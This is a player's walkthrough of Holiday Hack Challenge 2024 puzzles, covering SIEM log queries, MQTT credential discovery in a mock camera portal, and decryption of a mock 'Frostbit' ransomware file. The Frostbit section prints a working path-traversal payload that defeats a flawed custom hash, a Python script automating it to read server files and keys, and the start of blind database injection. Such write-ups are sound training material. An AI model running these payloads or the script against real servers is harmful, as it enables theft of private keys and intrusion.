- Elf Stack PowerShell: Our Elf Stack SIEM has some minor issues when parsing log data that we still need to figure out. Our ElfSOC SIEM engineers drank many cups of hot chocolate figuring out the right parsing logic. The engineers wanted to ensure that our junior analysts had a solid platform to hunt through log data.
Progress
I downloaded two log chunk zips, along with an ELK stack docker-compose that I am supposed to run locally.
Kibana displays login information on startup, with logs pre-ingested:
ess_syslog_sender | ****************************************
ess_syslog_sender | LOGIN INFORMATION:
ess_syslog_sender | URL: http://localhost:5601
ess_syslog_sender | Username: elastic
ess_syslog_sender | Password: ELFstackLogin!
ess_syslog_sender |
ess_syslog_sender | SET DATE IN ANALYSIS: DISCOVER TO 2024
ess_syslog_sender | ****************************************
-
How many unique values are there for the event_source field in all logs?
5
-
Which event_source has the fewest number of events related to it?
AuthLog
-
Using the event_source from the previous question as a filter, what is the field name that contains the name of the system the log event originated from?
hostname
- Which event_source has the second highest number of events related to it?
NetflowPmacct
event_source : "GreenCoat" -> 7,476 event_source : "NetflowPmacct" -> 34,679 event_source : "SnowGlowMailPxy" -> 1,398 event_source : "WindowsEvent" -> 2,299,324
-
Using the event_source from the previous question as a filter, what is the name of the field that defines the destination port of the Netflow logs?
event.port_dst
-
Which event_source is related to email traffic?
SnowGlowMailPxy
-
Looking at the event source from the last question, what is the name of the field that contains the actual email text?
event.Body
-
Using the ‘GreenCoat’ event_source, what is the only value in the hostname field?
SecureElfGwy
-
Using the ‘GreenCoat’ event_source, what is the name of the field that contains the site visited by a client in the network?
event.url
-
Using the ‘GreenCoat’ event_source, which unique URL and port (URL:port) did clients in the TinselStream network visit most?
pagead2.googlesyndication.com:443
-
Using the ‘WindowsEvent’ event_source, how many unique Channels is the SIEM receiving Windows event logs from?
5
- What is the name of the event.Channel (or Channel) with the second highest number of events?
Microsoft-Windows-Sysmon/Operational
event.Channel : "Microsoft-Windows-PowerShell/Operational" > 11,751 event.Channel : "Microsoft-Windows-Sysmon/Operational" > 17,713 event.Channel : "Security" > 2,268,402 event.Channel : "System" > 191 event.Channel : "Windows PowerShell" > 50
-
Our environment is using Sysmon to track many different events on Windows systems. What is the Sysmon Event ID related to loading of a driver?
6
(just googled it) -
What is the Windows event ID that is recorded when a new service is installed on a system?
4697
(googled it) - Using the WindowsEvent event_source as your initial filter, how many user accounts were created?
0
Sat on this one for a while, trying all sorts of queries but getting nothing returned. It was a trick question though…no user accounts were created.
Santa Vision
Objective
Alabaster and Wombley have poisoned the Santa Vision feeds! Knock them out to restore everyone back to their regularly scheduled programming.
Use the terminal. Once it’s done baking, you’ll see an IP address that you’ll need to scan for listening services.
Our target is the technology behind the SBN. We need to make a key change to its configuration. We’ve got to remove their ability to use their admin privileges. This is a delicate maneuver—are you ready?
We need to change the application so that multiple administrators are not permitted. A misstep could cause major issues, so precision is key.
The first step to unraveling this mess is gaining access to the SantaVision portal. You’ll need the right credentials to slip through the front door—what username will get you in?
Hints
- Misplaced Credentials - See if any credentials you find allow you to subscribe to any MQTT feeds.
- Filesystem Analysis - jefferson is great for analyzing JFFS2 file systems.
- Database Pilfering - Consider checking any database files for credentials…
Progress
Starting GateXOR printed this:
GateXOR> [Instructions] Your SantaVision instance is now available at the IP address above. Scan the IP address to begin the challenge. Good luck!!
My IP was 34.68.121.5
.
A - What username logs you into the SantaVision portal? elfanon
A quick nmap scan revealed:
22/tcp open ssh
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
8000/tcp open http-alt
9001/tcp open tor-orport?
Visiting port 8000 in the browser led me to a login page.
Looking through the HTML, I see a code comment with some credentials:
<!-- mqtt: elfanon:elfanon -->
That logs me in to the MQTT page.
B - Once logged on, authenticate further without using Wombley’s or Alabaster’s accounts to see the northpolefeeds on the monitors. What username worked here? elfmonitor
“Now that you’re in, it’s time to go deeper. We need access to the northpolefeeds. This won’t work if you use Wombley or Alabaster’s credentials—find the right user to log in.”
New hint: Like a Good Header on Your HTTP? - Be on the lookout for strange HTTP headers…
Since it seems like I should be able to connect via MQTT, I scanned again on that specific port:
nmap -sS -sU -sV -p 1883 34.68.121.5
Starting Nmap 7.95 ( https://nmap.org ) at 2024-12-04 09:16 Eastern Standard Time
Nmap scan report for 5.121.68.34.bc.googleusercontent.com (34.68.121.5)
Host is up (0.041s latency).
PORT STATE SERVICE VERSION
1883/tcp open mqtt
1883/udp closed ibm-mqisdp
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.48 seconds
And it looks like MQTT is open. I used an MQTT client (MQTTX) and the anon credentials I got previously to connect.
However, a topic is required to send messages. I also noticed in the HTML page a note that said: “(topic ‘sitestatus’ available.)”. Sending messages didn’t do anything, and I wasn’t familiar with the MQTT client, so I just wrote some Python to subscribe to that topic:
import paho.mqtt.client as mqtt
# Callback when the client receives a message
def on_message(client, userdata, msg):
print(f"Received message: {msg.payload.decode()} on topic: {msg.topic}")
# Create an MQTT client and connect
client = mqtt.Client()
client.username_pw_set("elfanon", "elfanon")
client.on_message = on_message
client.connect("34.68.121.5", port=1883)
client.subscribe("sitestatus")
client.loop_forever()
That code returns data every couple of seconds. The messages are:
Received message: Broker Authentication as superadmin succeeded on topic: sitestatus
Received message: File downloaded: /static/sv-application-2024-SuperTopSecret-9265193/applicationDefault.bin on topic: sitestatus
Received message: Broker Authentication as admin succeeded on topic: sitestatus
Received message: Broker Authentication succeeded: WomblyC on topic: sitestatus
Received message: Broker Authentication failed: WomblyC on topic: sitestatus
Received message: Broker Authentication succeeded: AlabasterS on topic: sitestatus
It looks like a bunch of login messages, but the leaked file is interesting, and corresponds to the hints. I downloaded the file at that URL, and it looks like a file system like the one hint mentioned.
I can extract the filesystem using jefferson:
(fs) mehlj@DESKTOP-GVKVHOR:/mnt/c/Users/Administrator/Documents/hhc 2024$ jefferson applicationDefault.bin
dumping fs to /mnt/c/Users/Administrator/Documents/hhc 2024/jffs2-root (endianness: <)
Jffs2_raw_inode count: 47
Jffs2_raw_dirent count: 47
writing S_ISREG .bashrc
writing S_ISREG .profile
….
Now, according to the hint, I’m looking for database files that contain credentials.
Poking around in views.py
, I can see another Flask route that is available:
@accounts_bp.route("/sv2024DB-Santa/SantasTopSecretDB-2024-Z.sqlite", methods=["GET"])
def db():
return send_from_directory("static", "sv2024DB-Santa/SantasTopSecretDB-2024-Z.sqlite", as_attachment=True)
A SQLite database. I can download that as well and open it with SQLitebrowser, to find one credential pair:
Subscribing to feeds with these credentials using my Python script did nothing, so I think I’m supposed to use the web interface at this point (the monitors). But the monitors won’t turn on for me. Need to figure that out.
Actually…those santa admin creds were for Gold for A. So I think they can be ignored for now.
I’ve seen elfmonitor
as an account when you hit “list clients”, so I guessed it in the objective and it was correct.
Now, I actually need to use that account to power on the monitor and see the northpolefeeds.
I need to find elfmonitor’s password, that’s the only thing I’m missing, since I can see the port is supposed to be 9001 (code comment in the JS).
Wombly and Alabaster have random passwords (according to the code in the filesystem dump).
Found this in the views.py
:
#Publish Messages to Broker to Create Player Broker Clients
mqttPublish.multiple(CreatePlayerClients,hostname="localhost",port=1883,auth={'username':"SantaBrokerAdmin", 'password':"8r0k3R4d1mp455wD"})
Might be a rabbit hole.
Modifying my Python script a bit (with those creds), I can now subscribe to northpolefeeds:
Received message: ./static/images/monitor1.png,./static/images/monitor2.png,./static/images/monitor3.png,./static/images/monitor4.png,./static/images/monitor5.png,./static/images/monitor6.png,./static/images/monitor7.png,./static/images/monitor8.png on topic: northpolefeeds
That was the only message I got though. I assume I need to do the same thing in the web app, to actually see the images.
I tried the same thing in the web app, but the monitors won’t turn on. Every time I attempt to turn the monitors on though, I get that message in my feed.
Confirmed via Discord that the FS dump is only good for Gold A. Everything else is a rabbit hole. So…continuing on without any of that knowledge. Only using the hint for B.
The B hint says to look out for weird HTTP headers, but the only non-standard one I see is BrkrTopic: northpolefeeds
. Not sure how that helps me.
Asked for a nudge, got the monitors turned on with the below. Turns out the Role was the password. I have no idea why.
U: elfmonitor
P: SiteElfMonitorRole
Camera Feed Server: <ip>
Camera Feed Port: 9001
Put northpolefeeds in the subscription and got feed in the monitors:
C - Using the information available to you in the SantaVision platform, subscribe to the frostbitfeed MQTT topic. Are there any other feeds available? What is the code name for the elves’ secret operation? Idemcerybu
Subscribing to that MQTT topic does not display camera images, but messages instead. Here are some of the messages:
- Do you conduct regular frostbite preparedness exercises?
- Let’s Encrypt cert for api.frostbit.app verified. at path /etc/nginx/certs/api.frostbit.app.key
- Error msg: Unauthorized access attempt. /api/v1/frostbitadmin/bot/
/deactivate, authHeader: X-API-Key, status: Invalid Key, alert: Warning, recipient: Wombley - Frostbite can be prevented by using a firewall and keeping your network secure
- While good backups are important, they won’t prevent frostbite
- Additional messages available in santafeed
Keeping with the objective, I connected to that santafeed
topic. Same deal with that, only messages:
- WombleyC role: admin
- AlabasterS role: admin
- Santa role: superadmin
- singleAdminMode=false
- superAdminMode=true
- Sixteen elves launched operation: Idemcerybu
The secret operation code is in that last message.
D - There are too many admins. Demote Wombley and Alabaster with a single MQTT message to correct the northpolefeeds feed. What type of contraption do you see Santa on? Pogo stick
“It’s time to take back control of the Santa Broadcast Network. There really shouldn’t be multiple administrators—send the right message, and Santa’s true spirit will return. What’s Santa test-driving this season?”
From the info enumerated in the last question, I knew there was a singleAdminMode=false
message in the topic. So I published a message that set that to true in the santafeed.
Returning back to the northpolefeeds showed the image of Santa I needed.
Decrypt the Naughty-Nice List
Objective
Decrypt the Frostbit-encrypted Naughty-Nice list and submit the first and last name of the child at number 440 in the Naughty-Nice list.
Hints
- Frostbit Dev Mode: There’s a new ransomware spreading at the North Pole called Frostbit. Its infrastructure looks like code I worked on, but someone modified it to work with the ransomware. If it is our code and they didn’t disable dev mode, we might be able to pass extra options to reveal more information. If they are reusing our code or hardware, it might also be broadcasting MQTT messages.
- Frostbit Crypto: The Frostbit ransomware appears to use multiple encryption methods. Even after removing TLS, some values passed by the ransomware seem to be asymmetrically encrypted, possibly with PKI. The infrastructure may also be using custom cryptography to retrieve ransomware status. If the creator reused our cryptography, the infrastructure might depend on an outdated version of one of our libraries with known vulnerabilities. There may be a way to have the infrastructure reveal the cryptographic library in use.
- Frostbit Forensics: I’m with the North Pole cyber security team. We built a powerful EDR that captures process memory, network traffic, and malware samples. It’s great for incident response - using tools like strings to find secrets in memory, decrypt network traffic, and run strace to see what malware does or executes.
Notes from Discord
(started on 12/10)
- MQTT is relevant here. Use knowledge I gained from Santa Vision.
- “Debug mode being enabled” is important. It is probably in the API later on.
- Brute forcing is never needed.
Progress
I’ve been provided five files:
DoNotAlterorDeleteMe.frostbit.json
: challenge-specific info. Not a part of the ransomwarefrostbit.elf
: 64-bit ELF executable, compiled with Go.frostbit_core_dump.13
: 64-bit ELF core dumpnaughty_nice_list.csv.frostbit
: the ransomwared-CSV file I need to decryptransomware_traffic.pcap
: a pcap that I can open in wireshark
I started with analyzing the PCAP in Wireshark.
The PCAP was super small, only 19 packets. I can see 172.17.0.3 opening a TCP connection with api.frostbit.app, and then only TLS1.3 encrypted traffic from then on.
I need to decrypt the traffic, so I read this article: https://www.packetsafari.com/blog/2022/10/07/wireshark-decryption/
According to that article, I need to build an sslkeylog.log
file that contains some client/server handshake secrets. Where could I get those secrets from, though? Knowing that secrets like that can usually leak in memory, I took a look at the coredump.
The hint implies I should simply use strings
on the memory dump, so I did, and too note of several interesting things:
What looks like the information I need for my sslkeylog.log
:
CLIENT_HANDSHAKE_TRAFFIC_SECRET 49e079a11e01dd6bb740978e49ce8992f7e930fda24a756c3bad2788289766ef e18a276417f519b92a9749c491144e9f69b7f023f7f7ffcd58449a2292d515d7
SERVER_HANDSHAKE_TRAFFIC_SECRET 49e079a11e01dd6bb740978e49ce8992f7e930fda24a756c3bad2788289766ef a34df306394fab352f7208183a5f39dd8cd8f4c23406603140768d5c7efb0062
CLIENT_TRAFFIC_SECRET_0 49e079a11e01dd6bb740978e49ce8992f7e930fda24a756c3bad2788289766ef 53e3ad76c7d3b7773c965560f2273ac8c61619ff4aef561e5e2020d16e0a24b5
SERVER_TRAFFIC_SECRET_0 49e079a11e01dd6bb740978e49ce8992f7e930fda24a756c3bad2788289766ef 5e252f0169052a78d246586a116ddc6571390268c7b01b59ff022f139e04d499
A POST and response to an API:
POST /api/v1/bot/888ffded-9b73-4a6c-a257-2936e8d3c7b0/key HTTP/1.1
Host: api.frostbit.app
User-Agent: Go-http-client/1.1
Content-Length: 1070
Content-Type: application/json
Accept-Encoding: gzip
{"encryptedkey":"7e7121f5fa30b03cf900431eb8b3a5bc66c614aaae76a19f3ba69ff592eba28049dc2d2cbd57158191fac28e712c27db6d8f5bf29df706bce912e3b49af8b6f2baa0cb196cf1ee339474f10f6791f0a553cf97e237c652d961f5f2f393ef14bf38b08bcaec3086640f9967b6f8236c1bf36c9cd3b9c5f2dda07fa72696158db2a9542aa4e9802d939511f03dcab3ff46f0942aa5621125d01842dda67d91b94682bb7b4abd9e4dfb4ff73061cea93dae6db88a5763095ae3532269b760eb1b18e49d0a73a6949d50f638e39bc1503010229982b0f69cd9d8b4495e72fa67ade5b18ce5e27d858024fd8945e0002ca9444d1306283efe21fa80bc498a9556c9abbef57ae4b25512ff3c67abd84db5bf60550ce0e8eb39c7cd8fdc384a421c31146999d0a8be076840b551a252c59c4e4e776407f3ad4989f1a95ef1a4bf1742cbc7e7e1eab97d2a5748816273c4571dfa144939cfbfad5e1546ff6220c49b042d8790abcb9beff9dca4fc836c4898d5862bb936b4ff80a9bd3f3040430e44c5cb88dfcbdad1dc350eab8c2840c3198165bf06c91aaa2fa6422f49feeab3c51fbd73677cd883632fdcd3966148526e9e7f3ce07651910a9e86f2ffa893fdd50b968d85e332cafd6ea254c7e54c905c37d58aa0450458eebeb94eddedd2ecd06301fe91be904dc2973847814e01b6bbe927509803ab8b425b17c8dc38b0973e76ff","nonce":""}
api.frostbit.app.
8HTTP/1.1 200 OK
Server: nginx/1.27.1
Date: Tue, 10 Dec 2024 13:21:42 GMT
Content-Type: application/json
Content-Length: 96
Connection: keep-alive
Strict-Transport-Security: max-age=31536000
{"digest":"9a50a8048084381bca01945c85000c33","status":"Key Set","statusid":"Ie0VlfvqHYy3kJcUw"}
A “session” url to an API: https://api.frostbit.app/api/v1/bot/888ffded-9b73-4a6c-a257-2936e8d3c7b0/session
Visiting that URL in the browser returns:
{"nonce":"8900e335f0f65051"}
And finally, what appears to be the ransomware notice page: https://api.frostbit.app/view/Ie0VlfvqHYy3kJcUw/888ffded-9b73-4a6c-a257-2936e8d3c7b0/status?digest=9a50a8048084381bca01945c85000c33
A lot of potentially helpful but disjointed info. For now, I can use that information to populate my sslkeylog.log
file:
CLIENT_HANDSHAKE_TRAFFIC_SECRET 49e079a11e01dd6bb740978e49ce8992f7e930fda24a756c3bad2788289766ef e18a276417f519b92a9749c491144e9f69b7f023f7f7ffcd58449a2292d515d7
SERVER_HANDSHAKE_TRAFFIC_SECRET 49e079a11e01dd6bb740978e49ce8992f7e930fda24a756c3bad2788289766ef a34df306394fab352f7208183a5f39dd8cd8f4c23406603140768d5c7efb0062
CLIENT_TRAFFIC_SECRET_0 49e079a11e01dd6bb740978e49ce8992f7e930fda24a756c3bad2788289766ef 53e3ad76c7d3b7773c965560f2273ac8c61619ff4aef561e5e2020d16e0a24b5
SERVER_TRAFFIC_SECRET_0 49e079a11e01dd6bb740978e49ce8992f7e930fda24a756c3bad2788289766ef 5e252f0169052a78d246586a116ddc6571390268c7b01b59ff022f139e04d499
After tweaking my wireshark preferences and reopening the PCAP, I was able to see the decrypted TLS traffic (which is actually HTTP interactions with an API):
GET /api/v1/bot/888ffded-9b73-4a6c-a257-2936e8d3c7b0/session HTTP/1.1
Host: api.frostbit.app
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
HTTP/1.1 200 OK
Server: nginx/1.27.1
Date: Tue, 10 Dec 2024 13:21:41 GMT
Content-Type: application/json
Content-Length: 29
Connection: keep-alive
Strict-Transport-Security: max-age=31536000
{"nonce":"8900e335f0f65051"}
POST /api/v1/bot/888ffded-9b73-4a6c-a257-2936e8d3c7b0/key HTTP/1.1
Host: api.frostbit.app
User-Agent: Go-http-client/1.1
Content-Length: 1070
Content-Type: application/json
Accept-Encoding: gzip
{"encryptedkey":"7e7121f5fa30b03cf900431eb8b3a5bc66c614aaae76a19f3ba69ff592eba28049dc2d2cbd57158191fac28e712c27db6d8f5bf29df706bce912e3b49af8b6f2baa0cb196cf1ee339474f10f6791f0a553cf97e237c652d961f5f2f393ef14bf38b08bcaec3086640f9967b6f8236c1bf36c9cd3b9c5f2dda07fa72696158db2a9542aa4e9802d939511f03dcab3ff46f0942aa5621125d01842dda67d91b94682bb7b4abd9e4dfb4ff73061cea93dae6db88a5763095ae3532269b760eb1b18e49d0a73a6949d50f638e39bc1503010229982b0f69cd9d8b4495e72fa67ade5b18ce5e27d858024fd8945e0002ca9444d1306283efe21fa80bc498a9556c9abbef57ae4b25512ff3c67abd84db5bf60550ce0e8eb39c7cd8fdc384a421c31146999d0a8be076840b551a252c59c4e4e776407f3ad4989f1a95ef1a4bf1742cbc7e7e1eab97d2a5748816273c4571dfa144939cfbfad5e1546ff6220c49b042d8790abcb9beff9dca4fc836c4898d5862bb936b4ff80a9bd3f3040430e44c5cb88dfcbdad1dc350eab8c2840c3198165bf06c91aaa2fa6422f49feeab3c51fbd73677cd883632fdcd3966148526e9e7f3ce07651910a9e86f2ffa893fdd50b968d85e332cafd6ea254c7e54c905c37d58aa0450458eebeb94eddedd2ecd06301fe91be904dc2973847814e01b6bbe927509803ab8b425b17c8dc38b0973e76ff","nonce":"8900e335f0f65051"}
HTTP/1.1 200 OK
Server: nginx/1.27.1
Date: Tue, 10 Dec 2024 13:21:42 GMT
Content-Type: application/json
Content-Length: 96
Connection: keep-alive
Strict-Transport-Security: max-age=31536000
{"digest":"9a50a8048084381bca01945c85000c33","status":"Key Set","statusid":"Ie0VlfvqHYy3kJcUw"}
This is the same information found in the memory dump, but nicely formatted and confirms the importance.
So, I have an encrypted key. I assume that I need to decrypt that key and use it to decrypt the ransomwared CSV. And per the hints, I need to interact with the API somehow to decrypt that key.
The API is at https://api.frostbit.app/.
Using hints and previously found info, we can deduce:
- this key is “asymmetrically encrypted, possibly with PKI”
- “The API might depend on an outdated version of one of our libraries with known vulnerabilities. There may be a way to have the infrastructure reveal the cryptographic library in use”
- “dev mode” is enabled, and we can pass extra options to reveal more information
- MQTT messages may be being broadcasted
I’ll start with MQTT to see if I can glean any important info there. I ran a port scan to see what port it is broadcasting on, but 1883 and 9001 were both filtered.
I looked back at the Santa Vision challenge, per some Discord advice, to see if there were any important MQTT messages I missed. Turns out, yes, there were a couple in the frostbitfeed
:
- Error msg: Unauthorized access attempt. /api/v1/frostbitadmin/bot/
/deactivate, authHeader: X-API-Key, status: Invalid Key, alert: Warning, recipient: Wombley - Let’s Encrypt cert for api.frostbit.app verified. at path /etc/nginx/certs/api.frostbit.app.key
Sounds like the first message relates to the next challenge (Deactivate), so I’ll ignore that for now.
The second message looks important though. It shows the path of a private key, which I can assume, can decrypt our encryptedkey
we got from the PCAP.
Problem is, that private key file exists server-side. Maybe we have to exploit an LFI vulnerability to grab the contents of that file somehow?
The only vulnerability we know of is with a outdated version of a cryptographic library. Not much to go off of, but if we can trigger debug/dev mode, maybe it can help reveal the version of that library.
I see this in the status page JS:
// Default values with placeholders for data passed from the server-side Python script
const isExpired = false;
const expiryTime = 1734998400;
const uuid = "888ffded-9b73-4a6c-a257-2936e8d3c7b0";
const debugData = false;
const deactivated = false;
const decryptedkey = false;
It mentions debugData
as a potential parameter. I tried variations of debugData=true
as a URL parameter for a while, but got nowhere.
Finally, a discord nudge corrected me and it turned out to be debug=1
(for some reason).
With debug mode enabled, I can see more detailed error messages all across the API. We just need to trigger a helpful error message.
Looking at the status page some more, I can see it takes many arguments:
https://api.frostbit.app/view/<statusid>/<uuid>/status?digest=<digest>&debug=1
I’ll try and supply invalid inputs to each of those arguments and see if I get a good error message.
When I pass a random statusid in, I get an error message:
“Status Id File Not Found”
Since that error mentions a file/filename, that tells me that some code somewhere is taking statusid as a filename input, which is probably my avenue for LFI. Noting that for later.
Nothing helpful happens when I pass invalid UUIDs - that is probably a challenge/player-unique identifier.
After playing with invalid digest values for a while, I got this error when supplying non-hex digits:
{"debug":true,"error":"Status Id File Digest Validation Error: Traceback (most recent call last):\n File \"/app/frostbit/ransomware/static/FrostBiteHashlib.py\", line 55, in validate\n decoded_bytes = binascii.unhexlify(hex_string)\nbinascii.Error: Non-hexadecimal digit found\n"}
That filepath is interesting, and it turns out I can read that Python file directly at /static/FrostBiteHashlib.py
.
After studying that code, turns out that library has a roll-your-own crypto hashing function that uses bitwise operators and obfuscation to generate a hash/digest, instead of a reputable hashing algorithm.
This is the code annotated with my notes:
class Frostbyte128:
def __init__(self, file_bytes: bytes, filename_bytes: bytes, nonce_bytes: bytes, hash_length: int = 16):
self.file_bytes = file_bytes
self.filename_bytes = filename_bytes
self.filename_bytes_length = len(self.filename_bytes)
self.nonce_bytes = nonce_bytes
self.nonce_bytes_length = len(self.nonce_bytes)
self.hash_length = hash_length
self.hash_result = self._compute_hash()
def _compute_hash(self) -> bytes:
"""
Computes a custom hash value by iteratively processing two byte sequences (file_bytes and filename_bytes)
and combining them with a nonce using bitwise operations
"""
hash_result = bytearray(self.hash_length)
count = 0
# 1st loop - loop through file_bytes
# BLUF -- It "mixes" the content of "file_bytes" with "nonce_bytes" into "hash_result"
# For each byte in file_bytes:
# calculate "xrd", the XOR of the current byte and a byte from nonce_bytes
# update an element in hash_result:
# index = count % hash_length
# value = XOR with xrd
for i in range(len(self.file_bytes)):
xrd = self.file_bytes[i] ^ self.nonce_bytes[i % self.nonce_bytes_length]
hash_result[count % self.hash_length] = hash_result[count % self.hash_length] ^ xrd
count += 1
# 2nd loop - loop through filename_bytes
# BLUF -- It "mixes" the filename data with the "nonce_bytes" and further modifies "hash_result"
# for each byte in filename_bytes:
# it computes count_mod, count_filename_mod, and count_nonce_mod, which are calculated by:
# count index MODULO hash_length, filename_bytes_length, and nonce_bytes_length respectively
# it calculates xrd - the XOR of the current byte and a byte from nonce_bytes
# updates an element in hash_result:
# index = count_mod
# value = AND with xrd
for i in range(len(self.filename_bytes)):
count_mod = count % self.hash_length
count_filename_mod = count % self.filename_bytes_length
count_nonce_mod = count % self.nonce_bytes_length
# issue is here----------------
# xrd = filename ^ nonce
# note: nonce ^ nonce == 0. We want XRD to be zero
xrd = self.filename_bytes[count_filename_mod] ^ self.nonce_bytes[count_nonce_mod]
print("xrd is " + str(xrd))
# hash = hash & xrd
hash_result[count_mod] = hash_result[count_mod] & xrd
count += 1
return bytes(hash_result)
In summary, the hashing function accepts arguments file_bytes
, filename
, and nonce
, performs bitwise operations on them repeatedly to generate a digest, and returns it.
Not only are bitwise operators insecure by nature, there is also a critical flaw at the end of the function - the & xrd
will always result in zero if xrd
is zero. How do we force xrd
to be zero? XRD is determined by XOR, and we know XOR ^ XOR
will always be zero. And, since we know XRD is generated from filename ^ nonce
, we just have to craft a filename
input that exactly matches nonce
.
Thus, there is a path to predictably creating a digest by zeroing out the entire hash.
This is important because an LFI payload like this would not work that this point:
https://api.frostbit.app/view/../../../../etc/nginx/certs/api.frostbit.app.key/888ffded-9b73-4a6c-a257-2936e8d3c7b0/status?digest=9a50a8048084381bca01945c85000c33&debug=1
Because our digest does not match _compute_hash(filename/statusid input)
. But now we have a way to force the hashing function to predictably generate a digest.
So, we have a potential LFI payload that looks like this:
../../../../etc/nginx/certs/api.frostbit.app.key
And a method of forcing the hashing function to predictably generate a digest - supplying nonce
as a filename/statusid parameter.
How do we combine these though? We need both of these to work in tandem, since the LFI payload has to execute, and the digest has to be zeroed out.
Turns out, we can combine these two techniques in our one statusid/filename parameter and still have the digest be zeroed out. Figured this out after playing with the crypto library class and experimenting.
So our payload can look like this (note - supplied nonce twice due to how the bitwise operators work):
https://api.frostbit.app/view/8900e335f0f650518900e335f0f65051../../../../etc/nginx/certs/api.frostbit.app.key/888ffded-9b73-4a6c-a257-2936e8d3c7b0/status?digest=00000000000000000000000000000000&debug=1
Even though we have that trailing LFI payload, as long as we supply nonce x2 somewhere in our statusid/filename input, the digest will still be zeroed out.
This payload still won’t work though, since it needs to be twice-URL encoded (there seemed to be a mechanism blocking single URL encoding).
Our payload looks like this now:
https://api.frostbit.app/view/%2529%2502%2572%25a2%25e1%25cb%2588%25a8%2529%2502%2572%25a2%25e1%25cb%2588%25a8..%252F..%252F..%252F..%252Fetc%252Fnginx%252Fcerts%252Fapi.frostbit.app.key/bce8b3c3-426c-4edf-901f-27c889158ff5/status?digest=00000000000000000000000000000000&debug=1
This still didn’t work, however. I had to add a bunch of ../
padding (10 to be exact) for the LFI to finally work.
Final payload:
https://api.frostbit.app/view/%2529%2502%2572%25a2%25e1%25cb%2588%25a8%2529%2502%2572%25a2%25e1%25cb%2588%25a8..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fnginx%252Fcerts%252Fapi.frostbit.app.key/bce8b3c3-426c-4edf-901f-27c889158ff5/status?digest=00000000000000000000000000000000&debug=1
That payload gives us an RSA private key - the contents of /etc/nginx/certs/api.frostbit.app.key
.
After playing with CyberChef for a while trying to decrypt our encryptedkey
, I found out that the encryptedkey
is actually hex encoded (why..), and was able to decrypt using our RSA key:
That decryption gives us what looks like an AES key and IV:
489babe9499fcde6d04e55401030c438,290272a2e1cb88a8
We can assume that the CSV file was encrypted using that key and IV.
After playing with AES decryption CC settings, I was able to decrypt the CSV file and get the CSV file:
Flag is Xena Xtreme
.
To carry this LFI vulnerability as far as I can (to help with the next challenge), I automated the exploit:
import requests
import urllib.parse
def exploit(payload):
url = f"https://api.frostbit.app/view/{payload}/bce8b3c3-426c-4edf-901f-27c889158ff5/status?digest=00000000000000000000000000000000&debug=1"
response = requests.get(url)
if response.status_code == 200:
print("Payload success!!")
print("Visit this URL: " + url)
else:
print("Request failed: ", response.text)
return response
def double_url_encode(string):
return urllib.parse.quote_plus(urllib.parse.quote_plus(string))
if __name__ == "__main__":
nonce_payload = "%2529%2502%2572%25a2%25e1%25cb%2588%25a8%2529%2502%2572%25a2%25e1%25cb%2588%25a8"
lfi_payload = double_url_encode("/etc/nginx/certs/api.frostbit.app.key")
for i in range(30):
# padding ranges depending on LFI payload, so brute force it a little
payload = nonce_payload + ("..%252F" * i) + lfi_payload
response = exploit(payload)
if "Status Id Too Long" in response.text:
print("File does not exist on target system.")
break
if response.status_code == 200:
break
Deactivate Frostbit Naughty-Nice List Publication
Objective
Wombley’s ransomware server is threatening to publish the Naughty-Nice list. Find a way to deactivate the publication of the Naughty-Nice list by the ransomware server.
From what I’ve heard, this is a relatively new/common SQL injection attack on a old/rare DBMS.
Hints
I thought I would get some from finishing the previous challenge, guess not.
Progress
Using the LFI vulnerability from last challenge, I was able to get /proc/self/environ
to see if anything helped for this challenge:
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=6059e5d8ecc8
FROSTBIT_CHALLENGE_HASH=6487b8b081bc4317cc8017a898c7dfc8
LETSENCRYPT_EMAIL=ops@counterhack.com
PYTHONUNBUFFERED=1
VIRTUAL_PORT=8080
ARANGO_ROOT_PASSWORD=password
ARANGO_HOST=arangodb
APP_DEBUG=true
API_ENDPOINT=https://2024.holidayhackchallenge.com
VIRTUAL_HOST=api.frostbit.app
LETSENCRYPT_HOST=api.frostbit.app
LANG=C.UTF-8
GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568
PYTHON_VERSION=3.9.19
PYTHON_PIP_VERSION=23.0.1
PYTHON_SETUPTOOLS_VERSION=58.1.0
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/def4aec84b261b939137dd1c69eff0aabb4a7bf4/public/get-pip.py
PYTHON_GET_PIP_SHA256=bc37786ec99618416cc0a0ca32833da447f4d91ab51d2c138dd15b7af21e8e9a
HOME=/root
This actually gives me the DBMS name - ArangoDB. That should come in handy later.
I went back to the relevant MQTT message for this challenge:
Error msg: Unauthorized access attempt. /api/v1/frostbitadmin/bot/<botuuid>/deactivate, authHeader: X-API-Key, status: Invalid Key, alert: Warning, recipient: Wombley
That /deactivate
endpoint returns 403 if I interact with it. Since it mentions an X-API-Key header, one can surmise I am supposed to supply an API key here in order for the ransomware to be deactivated. I don’t think the decrypt RSA private key is the API key I need, so sounds like I need to steal another key here.
I started playing around with the X-Api-Key header in Burp repeater. Since I know SQL injection is in play here, I supplied a single quote to see if I get a good error:
GET /api/v1/frostbitadmin/bot/bce8b3c3-426c-4edf-901f-27c889158ff5/deactivate?debug=1 HTTP/2
Host: api.frostbit.app
<snip>
X-Api-Key: '
And I did:
{"debug":true,"error":"Timeout or error in query:\nFOR doc IN config\n FILTER doc.<key_name_omitted> == '{user_supplied_x_api_key}'\n <other_query_lines_omitted>\n RETURN doc"}
Nicely formatted:
FOR doc IN config
FILTER doc.<key_name_omitted> == '{user_supplied_x_api_key}'
RETURN doc
I’ve found the injection point!
Now to complete my actual objective - stealing that API key. I figured I could string my user input into a SELECT
command and just grab it, but certain keywords are blocked, and the error message isn’t that robust that it would display that information there.
So, we probably are doing blind SQL injection. I also noticed that the SLEEP
keyword is allowed, so we might be able to craft a blind SQL injection payload to ‘guess’ individual characters of some data.
Problem is, we are blind, so I don’t know quite know what to look for, and ArangoDB is uncommon enough to not know the common places to look.
Took some time to learn more about ArangoDB from the docs:
“ArangoDB is a native multi-model, open-source database with flexible data models for documents, graphs, and key-values. Build high performance applications using a convenient SQL-like query language or JavaScript extensions. Use ACID transactions if you require them. Scale horizontally and vertically with a few mouse clicks.”
What is a document? That is what the error is dealing with.
